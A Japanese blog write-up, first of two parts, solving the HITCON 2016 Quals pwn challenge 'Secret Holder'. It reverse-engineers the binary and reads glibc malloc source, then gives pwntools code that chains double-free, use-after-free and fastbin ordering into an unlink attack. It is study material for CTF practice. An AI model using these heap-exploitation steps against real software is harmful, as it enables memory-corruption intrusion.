CTFひとり勉強会 Secret Holder (HITCON 2016 Quals) 前編
今週末はぼっちで過去問の研究をしてました。本エントリーはそれの成果報告です。 題材は、先週開催されたHITCON 2016 QualsよりSecret Holderです。 100点問題のくせに結構な手間がかかる問題ですが、良問だと思うのでみなさんに紹介します。
先にExploitの流れを図で示します。 前編はUnlink Attackまでです。
- キーワード
- 環境・解くのに使ったもの
- 読者の前提
- 初期フェーズ
- 模索フェーズ
- チャンクヘッダ操作用のバッファの確保(+double-free)
- UAFフェーズ(+Unlink Attack)
- 後編
- 参考文献
キーワード
- malloc(mmmap, sbrk)
- fastbins
- double-free
- Use After Free (UAF)
- Unlink Attack
- stack smashing
- stack canary
- Return Oriented Programming (ROP)
- GOT Overwrite
- One-gadget RCE
環境・解くのに使ったもの
環境
% uname -r 4.7.6-1-ARCH % pacman -Q glibc glibc 2.24-2
GUI
- Hopper
shell
- readelf
- objdump
- strings
- grep/egrep
exploit
- python2+pwntools
debug
- peda (gdb)
読者の前提
初期フェーズ
表層解析
x86-64バイナリで、strippedです。 static linked binaryではなさそうです。
[katc@K_atc SecretHolder]$ file SecretHolder SecretHolder: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=1d9395599b8df48778b25667e94e367debccf293, stripped
残念ながらNXビットが有効です、シェルコードを送る問題ではなさそうです。
[katc@K_atc SecretHolder]$ ~/bin/checksec.sh/checksec --file SecretHolder RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY FORTIFIED FORTIFY-able FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 2 SecretHolder
動的解析その1
一通り動かしてみると、こんな感じになります。
[katc@K_atc SecretHolder]$ ./SecretHolder Hey! Do you have any secret? I can help you to hold your secrets, and no one will be able to see it :) 1. Keep secret 2. Wipe secret 3. Renew secret 1 Which level of secret do you want to keep? 1. Small secret 2. Big secret 3. Huge secret 2 Tell me your secret: big secret 1. Keep secret 2. Wipe secret 3. Renew secret 3 Which Secret do you want to renew? 1. Small secret 2. Big secret 3. Huge secret 2 Tell me your secret: big big secret 1. Keep secret 2. Wipe secret 3. Renew secret 2 Which Secret do you want to wipe? 1. Small secret 2. Big secret 3. Huge secret 2 1. Keep secret 2. Wipe secret 3. Renew secret ^C
秘密を大きさ別に管理できるプログラムのようです。 機能は次のとおりです。
- keep: small, big, huge ごとに秘密を入力する
- wipe: 秘密1つを消す
- renew: 秘密1つを上書きする
秘密にフラグが入っていてそれを読み出す問題もありえますが、 フラグを読み出す処理がバイナリに含まれていないのでシェルを起動する問題と判断できます。
静的解析
Hopperにバイナリを食わせ、ルーティンや変数のラベルを付けなおしてデコンパイルし、読みやすく整形すると次のコードのようになります。
char* big_secret; // 0x6020a0 char* huge_secret; // 0x6020a8 char* small_secret; // 0x6020b0 int32_t holding_big_secret; // 0x6020b8 int32_t holding_huge_secret; // 0x6020bc int32_t holding_smalll_secret; // 0x6020c0 function wipe_secret { var_8 = *0x28; puts("Which Secret do you want to wipe?"); puts("1. Small secret"); puts("2. Big secret"); puts("3. Huge secret"); memset(var_10, 0x0, 0x4); read(0x0, var_10, 0x4); rax = atoi(var_10); rax = rax; if (rax == 0x1) { rax = *small_secret; free(rax); *(int32_t *)holding_smalll_secret = 0x0; } if (rax == 0x3) { rax = *huge_secret; free(rax); *(int32_t *)holding_huge_secret = 0x0; } if (rax == 0x2) { rax = *big_secret; free(rax); *(int32_t *)holding_big_secret = 0x0; } rax = var_8 ^ *0x28; COND = rax == 0x0; if (!COND) { rax = __stack_chk_fail(); } return rax; } function renew_secret { var_8 = *0x28; puts("Which Secret do you want to renew?"); puts("1. Small secret"); puts("2. Big secret"); puts("3. Huge secret"); memset(var_10, 0x0, 0x4); read(0x0, var_10, 0x4); rax = atoi(var_10); rax = rax; if ((rax == 0x1) && (*(int32_t *)holding_smalll_secret != 0x0)) { puts("Tell me your secret: "); read(0x0, *small_secret, 0x28); } if ((rax == 0x3) && (*(int32_t *)holding_huge_secret != 0x0)) { puts("Tell me your secret: "); read(0x0, *huge_secret, 0x61a80); } if ((rax == 0x2) && (*(int32_t *)holding_big_secret != 0x0)) { puts("Tell me your secret: "); read(0x0, *big_secret, 0xfa0); } rax = var_8 ^ *0x28; COND = rax == 0x0; if (!COND) { rax = __stack_chk_fail(); } return rax; } function keep_secret { var_8 = *0x28; // stack canary puts("Which level of secret do you want to keep?"); puts("1. Small secret"); puts("2. Big secret"); puts("3. Huge secret"); memset(var_10, 0x0, 0x4); read(0x0, var_10, 0x4); rax = atoi(var_10); if (rax == 0x1) { if (*(int32_t *)holding_smalll_secret == 0x0) { *small_secret = calloc(0x1, 0x28); *(int32_t *)holding_smalll_secret = 0x1; puts("Tell me your secret: "); read(0x0, *small_secret, 0x28); } } if (rax == 0x3) { if (*(int32_t *)holding_huge_secret == 0x0) { *huge_secret = calloc(0x1, 0x61a80); *(int32_t *)holding_huge_secret = 0x1; puts("Tell me your secret: "); read(0x0, *huge_secret, 0x61a80); } } if (rax == 0x2) { if (*(int32_t *)holding_big_secret == 0x0) { *big_secret = calloc(0x1, 0xfa0); *(int32_t *)holding_big_secret = 0x1; puts("Tell me your secret: "); read(0x0, *big_secret, 0xfa0); } } rax = var_8 ^ *0x28; COND = rax == 0x0; if (!COND) { rax = __stack_chk_fail(); } return rax; } void alarm_handler { // 0x400c68 puts("Timeout!"); exit(0x1); return; } function set_alarm { rax = *stdout; setvbuf(rax, 0x0, 0x2, 0x0); signal(0xe, 0x400c68); rax = alarm(0x3c); // 60 sec return rax; } function main { set_alarm(); puts("Hey! Do you have any secret?"); puts("I can help you to hold your secrets, and no one will be able to see it :)"); goto loc_400cf7; loc_400cf7: do { do { puts("1. Keep secret"); puts("2. Wipe secret"); puts("3. Renew secret"); memset(var_10, 0x0, 0x4); read(0x0, var_10, 0x4); rax = atoi(var_10); if (rax != 0x2) { break; } wipe_secret(); } while (true); if (rax != 0x3) { break; } renew_secret(); } while (true); if (rax == 0x1) { keep_secret(); } goto loc_400cf7; }
次のことが分かります。
- 60秒のアラームが設定されており、タイムアウトするとプログラムが終了する
- 手元で動かすときはパッチでなんとかする(→パッチ編)
- small, big, huge のバッファのサイズはそれぞれ 0x28, 0xfa0, 0x61a80 で、hugeはsbrk()で確保されないチャンクにありそう(?)
- そのように判断したのはhugeのallocateサイズがバカでかいから
- チャンク2つではどうしようもないのでなんとかせねば
- systemがpltに無いので、Exploit後半でlibcのベースアドレスのリークが必要
- libc.soが配布されてないが、他にいい方法があるのだろうか?
- keepではそのサイズの秘密を保持しているかどうかの変数(holdingなんちゃら)の値が0、renewではそれが1である必要がある。
- wipeではsmall, big, hugeを自由にwipeできる上に、ポインタをNULLで上書きしない(自明なUse After Free)
また、.bssの変数は次の配置になっていることが分かります。
address | name |
---|---|
0x602090 | stdout |
0x6020a0 | big_secret |
0x6020a8 | huge_secret |
0x6020b0 | small_secret |
0x6020b8 | holding_big_secret |
0x6020bc | holding_huge_secret |
0x6020c0 | holding_small_secret |
手詰まり感が出てきたので模索フェーズに入ります。
パッチ編
タイムアップを遅くするのは、こんなコードで実現できます。
BIN = "./SecretHolder" PATCHED_BIN = BIN + ".patched" e = ELF(BIN) if not os.path.exists(PATCHED_BIN): e = ELF(BIN) e.asm(0x400cb1, 'mov edi,0xffffff') e.save(PATCHED_BIN) os.system("chmod +x %s" % PATCHED_BIN) log.info("patched binary") exit()
触ったアセンブリはここです。
set_alarm: 0000000000400c81 mov rbp, rsp 0000000000400c84 mov rax, qword [ds:stdout] 0000000000400c8b mov ecx, 0x0 ; argument "size" for method j_setvbuf 0000000000400c90 mov edx, 0x2 ; argument "type" for method j_setvbuf 0000000000400c95 mov esi, 0x0 ; argument "buf" for method j_setvbuf 0000000000400c9a mov rdi, rax ; argument "stream" for method j_setvbuf 0000000000400c9d call j_setvbuf 0000000000400ca2 mov esi, 0x400c68 ; argument "func" for method j_signal 0000000000400ca7 mov edi, 0xe ; argument "sig" for method j_signal 0000000000400cac call j_signal 0000000000400cb1 mov edi, 0x3c ; argument "seconds" for method j_alarm 0000000000400cb6 mov eax, 0x0 0000000000400cbb call j_alarm 0000000000400cc0 pop rbp 0000000000400cc1 ret ; endp
便利gdbコマンドの準備
メモリをダンプするxコマンドを叩きまくるのはだるいです。
メモリ構造は決まっていて、それをmallocのチャンクとして把握してますから、
pritty printするスクリプトを書くと捗ります。
ついでに大域変数のアドレスを覚えるのはだるいので変数でエクスポートするのも手です。
# gdbが64ビットのアドレスをうまく扱ってくれないのなんとかならへんの?
set $big_secret = 0x6020a0 set $huge_secret = 0x6020a8 set $small_secret = 0x6020b0 set $holding_big_secret = 0x6020b8 set $holding_huge_secret = 0x6020bc set $holding_small_secret = 0x6020c0 set $mygets = 0x4009f9 define debug printf "holding (small, big, huge) secret = (%d, %d, %d)\n", *$holding_small_secret, *$holding_big_secret, *$holding_huge_secret if *(long long*)$small_secret != 0 printf "small_secret malloced at %#x\n", *$small_secret # x/4xg *$small_secret - 16 printf " prev_size = %#16lx\n", *(*((long long*)$small_secret) - 16) printf " size = %#16lx\n", *(*((long long*)$small_secret) - 8) printf " fd = %#16lx\n", *(*((long long*)$small_secret) + 0) printf " bk = %#16lx\n", *(*((long long*)$small_secret) + 8) printf " content = %s\n", *$small_secret end if *(long long*)$big_secret printf "big_secret malloced at %#x\n", *$big_secret # x/4xg *$big_secret - 16 printf " prev_size = %#16lx\n", *(*((long long*)$big_secret) - 16) printf " size = %#16lx\n", *(*((long long*)$big_secret) - 8) printf " fd = %#16lx\n", *(*((long long*)$big_secret) + 0) printf " bk = %#16lx\n", *(*((long long*)$big_secret) + 8) printf " content = %s\n", *($big_secret) end if *(long long*)$huge_secret printf "huge_secret malloced at %#x\n", *(long long*)$huge_secret # x/4xg *(long long*)$huge_secret - 16 printf " prev_size = %#16lx\n", *(*((long long*)$huge_secret) - 16) printf " size = %#16lx\n", *(*((long long*)$huge_secret) - 8) printf " fd = %#16lx\n", *(*((long long*)$huge_secret) + 0) printf " bk = %#16lx\n", *(*((long long*)$huge_secret) + 8) printf " content = %s\n", *((long long*)$huge_secret) end end
スクリプトファイルはgdb起動時に-x
オプションで渡してください。
模索フェーズ
mallocの仕組みをうまく使って、hugeがsmallやbigと同じページに来るようにしたいところです。 ここで簡単な実験をしました(wandbox)。 まず次のコードを書きました。
#include <stdio.h> #include <stdlib.h> // 元ネタ:HITOCON 2016 Quals - Secret Holder (Pwn100) int main() { void* mapped; puts("small malloc "); mapped = malloc(0x20); printf("allocated at %#x\n", mapped); free(mapped); // main+66 puts("1st huge malloc "); mapped = malloc(0x61a80); printf("allocated at %#x\n", mapped); free(mapped); // main+119 // main+129 puts("2nd huge malloc"); mapped = malloc(0x61a80); printf("allocated at %#x\n", mapped); // main+165 free(mapped); // main+177 return 0; }
これをコンパイルし実行すると次の結果になります。
small malloc allocated at 0x1d9d010 1st huge malloc allocated at 0x5916d010 2nd huge malloc allocated at 0x1d9d010
# allocated to な気がしてきたゾ
気づきましたか?hugeに相当するチャンクがsmallの場所に確保されました! これは使えるぞい。
もう少しこの挙動を追っていきます。 システムコールをトレースした結果が次です。
% strace ./test execve("./test", ["./test"], [/* 54 vars */]) = 0 brk(NULL) = 0x203d000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=266935, ...}) = 0 mmap(NULL, 266935, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fc59d174000 close(3) = 0 open("/usr/lib/libc.so.6", O_RDONLY|O_CLOEXEC) = 3 read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260\3\2\0\0\0\0\0"..., 832) = 832 fstat(3, {st_mode=S_IFREG|0755, st_size=1951744, ...}) = 0 mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc59d172000 mmap(NULL, 3791152, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fc59cbf6000 mprotect(0x7fc59cd8b000, 2093056, PROT_NONE) = 0 mmap(0x7fc59cf8a000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x194000) = 0x7fc59cf8a000 mmap(0x7fc59cf90000, 14640, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fc59cf90000 close(3) = 0 arch_prctl(ARCH_SET_FS, 0x7fc59d173400) = 0 mprotect(0x7fc59cf8a000, 16384, PROT_READ) = 0 mprotect(0x600000, 4096, PROT_READ) = 0 mprotect(0x7fc59d1b6000, 4096, PROT_READ) = 0 munmap(0x7fc59d174000, 266935) = 0 fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 3), ...}) = 0 brk(NULL) = 0x203d000 brk(0x205e000) = 0x205e000 write(1, "small malloc \n", 14small malloc ) = 14 write(1, "allocated at 0x203d420\n", 23allocated at 0x203d420 ) = 23 write(1, "1st huge malloc \n", 171st huge malloc ) = 17 mmap(NULL, 401408, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc59d110000 write(1, "allocated at 0x9d110010\n", 24allocated at 0x9d110010 ) = 24 munmap(0x7fc59d110000, 401408) = 0 write(1, "2nd huge malloc\n", 162nd huge malloc ) = 16 brk(0x20bf000) = 0x20bf000 write(1, "allocated at 0x203d420\n", 23allocated at 0x203d420 ) = 23 exit_group(0) = ? +++ exited with 0 +++
hugeの1回目のmallocではmmmap()が発行されましたが、2回目ではbrk()が使われています。
次にmmap()とsbrk()の分かれ目をお勉強します。 mallocの日本語資料はmalloc(3))のメモリ構造が秀逸だと思います。
sYSMALLOc()の動きについて簡単に説明します。ここではmain_arenaでないarenaの場合の説明については除きます。 要求サイズnbがmp_.mmap_threshold以上の場合、mmap()で領域の確保を行います。この部分の説明は別章「6. mmapped chunkの確保、解放」にて行います。nbがmp_.mmap_threshold未満の場合ヒープ領域を拡張します。次の式で拡張サイズを算出します。
nb + mp_.top_pad + MINSIZE これよりav->topのサイズを引いた(未使用領域も考慮した)サイズを拡張サイズとします。更にこのサイズをページサイズに換算します。この様にして求めたサイズでsbrk()をコールしてヒープ領域を拡張します。得られた領域をav->topに設定します。この中からnbのchunkを切り出しそのアドレスをリターンします。メモリプールがない状態でsYSMALLOc()が呼ばれた場合も同様の流れでメモリプールの生成が行われます。ただメモリプールの先頭を8バイト境界になる様に調整する所が異なります。そのアドレスがav->topとして設定されます。 public_mALLOc()に戻った後、arenaのロックを解除し得られたアドレスをコール側に戻します。
これによると、要求サイズがthresholdを超えるかどうかでmmap()が発動するかどうか決まるようです。 もしこのthresholdが固定値だったら、無事終了😇になってしまいそうです。手詰まりになってしまった根本的な原因がここにありました。
thresholdの更新に気をつけながらglibcのソースコードを読解して実験での動作の裏付けします。 malloc.cを見ると、 「要求サイズnbがmp_.mmap_threshold以上の場合、mmap()で領域の確保を行います」は次のコード①、②で裏付けられます。
2272 /* 2273 If have mmap, and the request size meets the mmap threshold, and 2274 the system supports mmap, and there are few enough currently 2275 allocated mmapped regions, try to directly map this request 2276 rather than expanding top. 2277 */ 2278 2279 if ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) && 2280 (mp_.n_mmaps < mp_.n_mmaps_max)) ① 2281 { 2282 char *mm; /* return value from mmap call*/ 2283 2284 try_mmap: 2285 /* 2286 Round up size to nearest page. For mmapped chunks, the overhead 2287 is one SIZE_SZ unit larger than for normal chunks, because there 2288 is no following chunk whose prev_size field could be used. 2289 2290 See the front_misalign handling below, for glibc there is no 2291 need for further alignments unless we have have high alignment. 2292 */ 2293 if (MALLOC_ALIGNMENT == 2 * SIZE_SZ) 2294 size = (nb + SIZE_SZ + pagemask) & ~pagemask; 2295 else 2296 size = (nb + SIZE_SZ + MALLOC_ALIGN_MASK + pagemask) & ~pagemask; 2297 tried_mmap = true; 2298 2299 /* Don't try if size wraps around 0 */ 2300 if ((unsigned long) (size) > (unsigned long) (nb)) 2301 { 2302 mm = (char *) (MMAP (0, size, PROT_READ | PROT_WRITE, 0)); ②
thresholdが更新されることは__libc_free()
から分かります。
mmapで確保されたチャンクではチャンクのサイズが現在のthresholdよりも大きいときに、
mp_.mmap_threshold = chunksize (p)
すなわちthresholdの更新処理が走ります。
実験のコードでは1回目のhugeのfree()
のあとに更新があったため、2回目ではsbrk()
が起こり、smallと同じページに確保されるようになったと考えられます。
2907 void 2908 __libc_free (void *mem) 2909 { 2910 mstate ar_ptr; 2911 mchunkptr p; /* chunk corresponding to mem */ 2912 2913 void (*hook) (void *, const void *) 2914 = atomic_forced_read (__free_hook); 2915 if (__builtin_expect (hook != NULL, 0)) 2916 { 2917 (*hook)(mem, RETURN_ADDRESS (0)); 2918 return; 2919 } 2920 2921 if (mem == 0) /* free(0) has no effect */ 2922 return; 2923 2924 p = mem2chunk (mem); 2925 2926 if (chunk_is_mmapped (p)) /* release mmapped memory. */ 2927 { 2928 /* see if the dynamic brk/mmap threshold needs adjusting */ 2929 if (!mp_.no_dyn_threshold 2930 && p->size > mp_.mmap_threshold 2931 && p->size <= DEFAULT_MMAP_THRESHOLD_MAX) 2932 { 2933 mp_.mmap_threshold = chunksize (p); 2934 mp_.trim_threshold = 2 * mp_.mmap_threshold; 2935 LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2, 2936 mp_.mmap_threshold, mp_.trim_threshold); 2937 } 2938 munmap_chunk (p); 2939 return; 2940 } 2941 2942 ar_ptr = arena_for_chunk (p); 2943 _int_free (ar_ptr, p, 0); 2944 }
チャンクヘッダ操作用のバッファの確保(+double-free)
後のUAFで幾つかのfree済みのチャンクを書き換えたり、偽のチャンクを作ったりできる余裕ができるように、
攻撃用のバッファはhugeとします。
まず、模索フェーズで判明した挙動を使ってhuge_secret==small_secret
となるような操作をします。
下のコードのkeep(huge, "huge = small")
までがその手順です。
# 関数定義は最後のパートに掲載するExploitコードで確認してください。操作は文字通りです。
最後の仕上げはsmallのdouble-freeです。
double-freeは一度確保したチャンクを2回freeできる状態にあるようなバグを指します。
一度freeしたのにまだその場所を指すようなポインタが存在するために2度めのfreeが可能なのです。
wipe(small)
によって、hugeが専有していたメモリが解放されます(huge_secret==small_secret
なのでwipe(huge)
と同等。ただし、holding_huge_secret
が0にならないというおまけ付き)。
後でhugeがあった場所にsmallやbigをmallocさせることができるようになります。
(wipe(huge)
でも似たようなことができますが、hugeを通してヒープを書き換えることができなくなるので、これはノーチャンです。)
keep(huge, "") # mmap() wipe(huge) # free() """chunks ps = prev_size -- H ---- -- S ------ (ps = ?) (ps = ?) size= size = 0x30 "huge" "small" ----------- -- B ------ (ps = 0x30) size = 0xfa0 | 1 "big" --------- ----------- """ """double-free""" keep(small, "small") wipe(small) # first free(S) keep(huge, "huge = small") # sbrk(), make H wipe(small) # second free(S)
参考までに、最後のwipe(small)
をした場合、しなかった場合で、
上のコードの続きでkeep(small)
, keep(big)
した場合のチャンク内容をこの順に示します。
gdb-peda$ debug holding (small, big, huge) secret = (1, 1, 1) small_secret malloced at 0xe19010 prev_size = 0 size = 0x31 fd = 0x73737373 bk = 0xa content = ssssssss big_secret malloced at 0xe19040 prev_size = 0 size = 0xfb1 fd = 0x62626262 bk = 0xa content = bbbbbbbb huge_secret malloced at 0xe19010 prev_size = 0 size = 0x31 fd = 0x73737373 bk = 0xa content = ssssssss
gdb-peda$ debug holding (small, big, huge) secret = (1, 1, 1) small_secret malloced at 0x6b2aa0 prev_size = 0 size = 0x31 fd = 0x73737373 bk = 0xa content = ssssssss big_secret malloced at 0x6b2ad0 prev_size = 0 size = 0xfb1 fd = 0x62626262 bk = 0xa content = bbbbbbbb huge_secret malloced at 0x651010 prev_size = 0 size = 0x61a91 fd = 0x65677568 bk = 0x6c6c616d content = huge = small
UAFフェーズ(+Unlink Attack)
Use After Freeは解放済みのメモリ領域を書き換える攻撃です。 ここでは未使用チャンクのヘッダを書き換えることを目標にします。 これにより、Unlink Attack(※後述)を発動することができます。 さらにUnlink AttackからのGOT Overwriteを目論んでいます。
このフェーズは勉強になるしふくろくん方式で進めていきます。
fastbinsの準備
hugeに対して、smallが少し下、bigがsmallの直下にくると、renew(huge)によってsmallとbigのチャンクヘッダを書き換えることができます。
今は、smallとbigのそのような配置を実現するような手順を考えます。
fastbinsでは、要求サイズが小さい時に取り出されている未使用チャンクのリストです。
LIFOである点がミソです。
もともと隣接していたサイズが0x30の2つのチャンクA,Bがこの順にfastbinsに繋がったらどうなるでしょうか?
次のmalloc(0x28);
では最後に繋がったチャンクBが返ってきます。
そしてBはAに対して0x30だけアドレスが下にあります。さらに、Aがhugeと同じアドレスだった場合は…そうです、Bはhugeに対して少し下に来ますね。これは使えるぞい。
ということで、これまでの手順のコードがこれです。
"""fastbins chunks""" keep(small, "s"*8) keep(big, "b"*8) raw_input('Press Enter to continue: ') renew(huge, ''.join([ "S" * 0x28, # content of S p64(0x30 | 1), # fake size for B; there're two 30 bytes chunks "B" * 0x28, # content of B p64(0x1919 | 1) # fake in-use chunk size (decide "size" by yourself) ])) wipe(small) # fastbins -> small wipe(big) # fastbins -> small -> big
UAFによるチャンクの改変とUnlink Attack
Unlink Attackの説明は、bataさんのkatagaitai勉強会資料が秀逸です。 基本的な説明はそのスライドに譲ります。
ここで補足すべきことは、
- 【今回は】P2はチャンクヘッダ上では未使用で(PREV_INUSE = 0)、free(P)する【※スライドと逆】
- x86-64では、メンバのビット幅は8バイト
- X-0x8はX-0x10, X-0xCはX-0x18と読み替える
ということです。スライドで分かりにくい、Unlink Attack後にXがX-0xCを指す理由は後で解説します。
ではUse After Freeを今回の問題に適用した場合で話を進めます。
「アドレス的にPの直前のメモリP2が利用中だったとする」は隣接したsmallとbigのことになります。
今回はwipe(big) (=free(big))
によりUnlink(Unlinkの意味は後述)します。
XはP2を指していなければなりません。
といことで、しふくろくん方式ではXはsmall_secretになります。
# 後述のfastbinを使わない解法では、Xはhuge_secretでもいいですが、後々これは微妙です。理由は余談で話します。
スライド76の時点では、X(small_secret)はP(=big)を指しています。P2はsmallに当たります。
スライド77のタイミングで、hugeからP2, Pを次のように書き換えます。
- P2のfd/bkメンバはUnlink Attackで使う。fdがX-0x18、bkがX-0x10を指すような値にする
- P2の残りは適当にパディング
- Pのprev_sizeはP2の正しいサイズの0x30にしておく
- P2が未使用であるかのように見せる(PREV_INUSE = 0)ためにPのsizeメンバの値を
0x30 & ~PREV_INUSE
(=0x30
)とする - Pの中身はどうでもいい(ので何も書き換えない)
というわけでコードはこうなります。
"""unlink attack""" # X = small_secret keep(small, "s"*8) keep(big, "b"*8) renew(huge, ''.join([ '\0' * 0x30, # "small" is allocated to huge+0x30 (fastbins is LIFO) # we can manipulate "small" chunk header with huge # P2 p64(0), # prev_size p64(0xfa0 | 1), # size p64(small_secret - 0x18), # fd p64(small_secret - 0x10), # bk '\0' * (0xfa0 - 0x20), # P # "big" is allocated to huge+0x30+0xfa0 (under B) p64(0xfa0), # prev_size p64(0xfb0 & ~1), # size ])) wipe(big) # free(P) => unlink atack (X = X-0x18)
P2のfd/bkを書き換えてうまくいく裏付けをmalloc.cに求めよう。 Unlinkというものはmalloc_consolidateと呼ばれる処理で呼ばれます。 malloc_consolidateについては、例の神資料の説明を借ります。
ではmalloc_consolidate()の説明です。解放されたchunkの内max_fast以下のサイズのものは無条件にfastbinsに登録される為、大きなサイズになり得る領域を分断しているかもしれません。malloc_consolidate()ではfastbinsに登録された全chunkをこのリストから削除します。
この隣接した未使用チャンクの結合処理で呼ばれるのがUnlinkです。 該当のソースコードはこちらです。今回の条件では①、②、③がポイントです(おそらく)。
4100 static void malloc_consolidate(mstate av) 4101 { 4102 mfastbinptr* fb; /* current fastbin being consolidated */ 4103 mfastbinptr* maxfb; /* last fastbin (for loop control) */ 4104 mchunkptr p; /* current chunk being consolidated */ 4105 mchunkptr nextp; /* next chunk to consolidate */ 4106 mchunkptr unsorted_bin; /* bin header */ 4107 mchunkptr first_unsorted; /* chunk to link to */ 4108 4109 /* These have same use as in free() */ 4110 mchunkptr nextchunk; 4111 INTERNAL_SIZE_T size; 4112 INTERNAL_SIZE_T nextsize; 4113 INTERNAL_SIZE_T prevsize; 4114 int nextinuse; 4115 mchunkptr bck; 4116 mchunkptr fwd; 4117 4118 /* 4119 If max_fast is 0, we know that av hasn't 4120 yet been initialized, in which case do so below 4121 */ 4122 4123 if (get_max_fast () != 0) { 4124 clear_fastchunks(av); 4125 4126 unsorted_bin = unsorted_chunks(av); 4127 4128 /* 4129 Remove each chunk from fast bin and consolidate it, placing it 4130 then in unsorted bin. Among other reasons for doing this, 4131 placing in unsorted bin avoids needing to calculate actual bins 4132 until malloc is sure that chunks aren't immediately going to be 4133 reused anyway. 4134 */ 4135 4136 maxfb = &fastbin (av, NFASTBINS - 1); 4137 fb = &fastbin (av, 0); 4138 do { 4139 p = atomic_exchange_acq (fb, 0); 4140 if (p != 0) { 4141 do { 4142 check_inuse_chunk(av, p); 4143 nextp = p->fd; 4144 4145 /* Slightly streamlined version of consolidation code in free() */ 4146 size = p->size & ~(PREV_INUSE|NON_MAIN_ARENA); 4147 nextchunk = chunk_at_offset(p, size); ① 4148 nextsize = chunksize(nextchunk); 4149 4150 if (!prev_inuse(p)) { ② 4151 prevsize = p->prev_size; 4152 size += prevsize; 4153 p = chunk_at_offset(p, -((long) prevsize)); 4154 unlink(p, bck, fwd); ③ 4155 } 4156
スライド80のタイミングでXの値が変わります。 どうしてX-0xC(X-0x18)を指すことになるのかを順に追っていきます。 まず、Pのfd/bkはXの方を指していますから、mallocから見て、未使用のチャンクリストはX->P2->Xのように見えます。 次に、PからP2のサイズ(Pのチャンクヘッダのprev_size)だけ引かれるため、①で、free(P)だった話が、free(p2)の話にすり替わります。 PでPREV_INUSEを0にしたので②はtrueになります。 最後に、③でUnlink(P2)が走ります。 ここまでがスライド79の内容です。
ではスライド80を見ます。 Unlink(P2)で何が起こるのかをmalloc.cで同様に追います。 Unlinkはunlinkというマクロで次のように定義されています。
1407 #define unlink(P, BK, FD) { \ 1408 FD = P->fd; \ 1409 BK = P->bk; \ 1410 if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ 1411 malloc_printerr (check_action, "corrupted double-linked list", P); \ 1412 else { \ 1413 FD->bk = BK; \ 1414 BK->fd = FD; \ 1415 if (!in_smallbin_range (P->size) \ 1416 && __builtin_expect (P->fd_nextsize != NULL, 0)) { \ 1417 assert (P->fd_nextsize->bk_nextsize == P); \ 1418 assert (P->bk_nextsize->fd_nextsize == P); \ 1419 if (FD->fd_nextsize == NULL) { \ 1420 if (P->fd_nextsize == P) \ 1421 FD->fd_nextsize = FD->bk_nextsize = FD; \ 1422 else { \ 1423 FD->fd_nextsize = P->fd_nextsize; \ 1424 FD->bk_nextsize = P->bk_nextsize; \ 1425 P->fd_nextsize->bk_nextsize = FD; \ 1426 P->bk_nextsize->fd_nextsize = FD; \ 1427 } \ 1428 } else { \ 1429 P->fd_nextsize->bk_nextsize = P->bk_nextsize; \ 1430 P->bk_nextsize->fd_nextsize = P->fd_nextsize; \ 1431 } \ 1432 } \ 1433 } \ 1434 }
今関係ある処理に絞るとこんなコードとして読み取れます。
1407 #define unlink(P, BK, FD) { \ 1408 FD = P->fd; \ 1409 BK = P->bk; \ 1410 if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ 1411 malloc_printerr (check_action, "corrupted double-linked list", P); \ 1412 else { \ 1413 FD->bk = BK; \ 1414 BK->fd = FD; \ 1433 } \ 1434 }
実際に値を当てはめて挙動を見てみましょう。
#define unlink(P2, X, X) { \ FD = P2->fd = X-0x18; \ BK = P2->bk = X-0x10; \ if (__builtin_expect (FD->bk != P2 || BK->fd != P2, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P); \ else { \ X = X-0x10; \ X = X-0x18; \ } \ }
(スライド78の通り、FD->bkとBK->fdつまり、(X-0x10)->bkと(X-0x18)->fdはどちらもXすなわちP2なのでassertは通ります)
よって、XはX-0x18(スライドではX-0xC)を指すことが分かります。
以上がUnlink AttackによるXの書き換えの手順になります。
ポイントはXの指す先を自分でコントロールできなかったが、XをX-0x18に向かせたということです。
Xはsmall_secret
なので、X-0x18はbig_secret
です。
renew()とかいうバッファの内容を書き換える関数がありますから、renew(big)
でbig_secretが指す値を書き換えることができます。
そして、big_secretが指す先はsmall_secretで書き換えることができます。
つまり、big_secretを中継して任意アドレスの内容を書き換えることができます。
書き換える対象はもちろんGOTです。(後編に続く)
別解
fastbinsのくだりなしで、Unlink Attackを成功する方法がHITCON CTF 2016 Quals -- Secret Holder « Hacking Tubeで紹介されている。
"""unlink attack""" # X = small_secret keep(small, "s"*8) keep(big, "b"*8) renew(huge, ''.join([ # P2 p64(0), # prev_size p64(0x21), # size p64(small_secret - 0x18), # fd p64(small_secret - 0x10), # bk # P p64(0x20), # prev_size p64(0x90), # size 'B' * 0x80, p64(0x90), # prev_size p64(0x91), # size 'C' * 0x80, p64(0x90), # prev_size p64(0x91), # size ])) wipe(big) # free(P) => unlink atack (X = X-0x18)
が、なぜこんなに偽チャンクが必要なのだろう?【ご意見募集中】
2016/10/28追記: inaz2さんがfastbinsなし版の解法をgistで公開しています。非常にシンプルでいいすね。
https://gist.github.com/inaz2/732487ee170be9d8d2adf9cb50fe8d35